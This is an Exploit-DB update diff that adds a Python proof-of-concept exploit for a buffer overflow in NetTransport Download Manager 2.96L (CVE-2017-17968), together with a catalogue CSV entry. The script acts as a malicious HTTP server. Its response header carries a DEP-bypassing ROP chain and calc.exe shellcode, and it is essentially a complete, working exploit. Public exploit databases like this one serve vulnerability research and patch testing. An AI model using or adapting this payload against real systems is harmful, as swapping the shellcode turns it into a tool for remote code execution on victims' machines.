DB: 2017-12-30

1 changes to exploits/shellcodes

NetTransport 2.96L - Buffer Overflow (DEP Bypass)

exploits/windows/remote/43408.py

@@ -0,0 +1,119 @@
+# Exploit Title: Buffer overflow in NetTransport Download Manager - Version 2.96L (DEP Bypass)
+# CVE: CVE-2017-17968
+# Date: 28-12-2017
+# Software Link: http://xi-soft.com/downloads/NXSetup_x86.zip
+# Exploit Author: Author: Aloyce J. Makalanga
+# Contact: https://twitter.com/aloycemjr
+# Vendor Homepage: http://xi-soft.com/default.htm
+# Category: webapps
+# Impact: Code execution
+ 
+1. Description
+   
+A buffer overflow vulnerability in NetTransport.exe in NetTransport Download Manager 2.96L and earlier could allow remote HTTP servers to execute arbitrary code on NAS devices via a long HTTP response. To exploit this vulnerability, an attacker needs to issue a malicious-crafted payload in the HTTP Response Header. A successful attack could result in code execution
+   
+2. Proof of Concept
+ 
+
+#!/usr/bin/pythion
+
+
+
+
+def main():
+    host = "192.168.205.131"
+    port = 80
+
+    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    s.bind((host, port))
+    s.listen(1)
+    print "\n[+] Listening on %d ..." % port
+
+    cl, addr = s.accept()
+    print "[+] Connection accepted from %s" % addr[0]
+
+    #Disabling DEP by VirtualProtect()
+    def create_rop_chain():
+        # rop chain generated with mona.py - www.corelan.be
+        rop_gadgets = [
+            0x10001653,  # POP EAX # RETN [libssl.dll]
+            0x00485ed3,# MOV EAX,DWORD PTR DS:[ECX] # POP EDI # POP ESI # POP EBP # POP ECX # RETN 0x04 [NetTransport.exe]
+            0x41414141,  # Filler (compensate)
+            0x41414141,  # Filler (compensate)
+            0x41414141,  # Filler (compensate)
+            0x41414141,  # Filler (compensate)
+            0x00496596,  # XCHG EAX,ESI # RETN 0x0A [NetTransport.exe]
+            0x41414141,  # Filler (RETN offset compensation)
+            0x004ea919,  # POP EBP # RETN [NetTransport.exe]
+            0x41414141,  # Filler (RETN offset compensation)
+            0x41414141,  # Filler (RETN offset compensation)
+            0x4141,  # Filler (RETN offset compensation)
+            0x004608df,  # & push esp # ret  [NetTransport.exe]
+            0x0045e75f,  # POP EBX # RETN [NetTransport.exe]
+            0x00000201,  # 0x00000201-> ebx
+            0x00554dbc,  # POP ECX # RETN [NetTransport.exe]
+            0x00000040,  # 0x00000040-> edx
+            0x00499c92,  # XOR EDX,EDX # RETN 0x04 [NetTransport.exe]
+            0x0041254c,  # ADC EDX,ECX # POP EBX # ADD ESP,0C # RETN 0x04 [NetTransport.exe]
+            0x41414141,  # Filler (RETN offset compensation)
+            0x41414141,  # Filler (compensate)
+            0x41414141,  # Filler (compensate)
+            0x41414141,  # Filler (compensate)
+            0x41414141,  # Filler (compensate)
+            0x0054e559,  # POP ECX # RETN [NetTransport.exe]
+            0x41414141,  # Filler (RETN offset compensation)
+            0x10004b93,  # &Writable location [libssl.dll]
+            0x0050343f,  # POP EDI # RETN [NetTransport.exe]
+            0x00487073,  # RETN (ROP NOP) [NetTransport.exe]
+            0x10001653,  # POP EAX # RETN [libssl.dll]
+            0x90909090,  # nop
+            0x00486f78,  # PUSHAD # RETN [NetTransport.exe]
+        ]
+        return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
+
+    rop_chain = create_rop_chain()
+
+    #Tiny calc.exe shellcode
+
+    shellcode = (
+            "\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +
+            "\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +
+            "\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +
+            "\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +
+            "\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +
+            "\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +
+            "\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +
+            "\x1c\x39\xbd"
+    )
+
+    MaxSize = 60000
+    EAX_overwrite= "A"*16739 #Always trigger a crash at EAX
+
+    #EIP 004E7828
+    #evil = "\x28\x78\x4E\x90"
+
+    rop = rop_chain
+    nops = "\x90"*10
+    pads = "C"*(MaxSize - len(EAX_overwrite + rop + nops + shellcode))
+    payload = EAX_overwrite + rop + nops + shellcode + pads
+
+    buffer = "HTTP/1.1 200 " + payload + "\r\n"
+
+    print cl.recv(1000)
+    cl.send(buffer)
+    print "[+] Sending buffer: OK\n"
+
+
+    cl.close()
+    s.close()
+
+if __name__ == '__main__':
+    import struct
+    import socket
+    main()
+
+
+   
+3. Solution:
+   
+No solution available at the moment.

files_exploits.csv

@@ -15875,6 +15875,7 @@ id,file,description,date,author,type,platform,port
 43388,exploits/multiple/remote/43388.md,"Trend Micro Smart Protection Server - Session Hijacking / Log File Disclosure / Remote Command Execution / Cron Job Injection / Local File Inclusion / Stored Cross-Site Scripting / Improper Access Control",2017-12-19,CoreLabs,remote,multiple,
 43389,exploits/hardware/remote/43389.py,"COMTREND ADSL Router CT-5367 - Remote Code Execution",2017-12-26,TnMch,remote,hardware,
 43407,exploits/windows/remote/43407.rb,"ALLMediaServer 0.95 - Buffer Overflow (Metasploit)",2017-12-28,"Anurag Srivastava",remote,windows,
+43408,exploits/windows/remote/43408.py,"NetTransport 2.96L - Buffer Overflow (DEP Bypass)",2017-12-29,"Aloyce J. Makalanga",remote,windows,
 41638,exploits/windows/remote/41638.txt,"HttpServer 1.0 - Directory Traversal",2017-03-19,malwrforensics,remote,windows,
 41666,exploits/windows/remote/41666.py,"Disk Sorter Enterprise 9.5.12 - 'GET' Remote Buffer Overflow (SEH)",2017-03-22,"Daniel Teixeira",remote,windows,
 41672,exploits/windows/remote/41672.rb,"SysGauge 1.5.18 - SMTP Validation Buffer Overflow (Metasploit)",2017-02-28,Metasploit,remote,windows,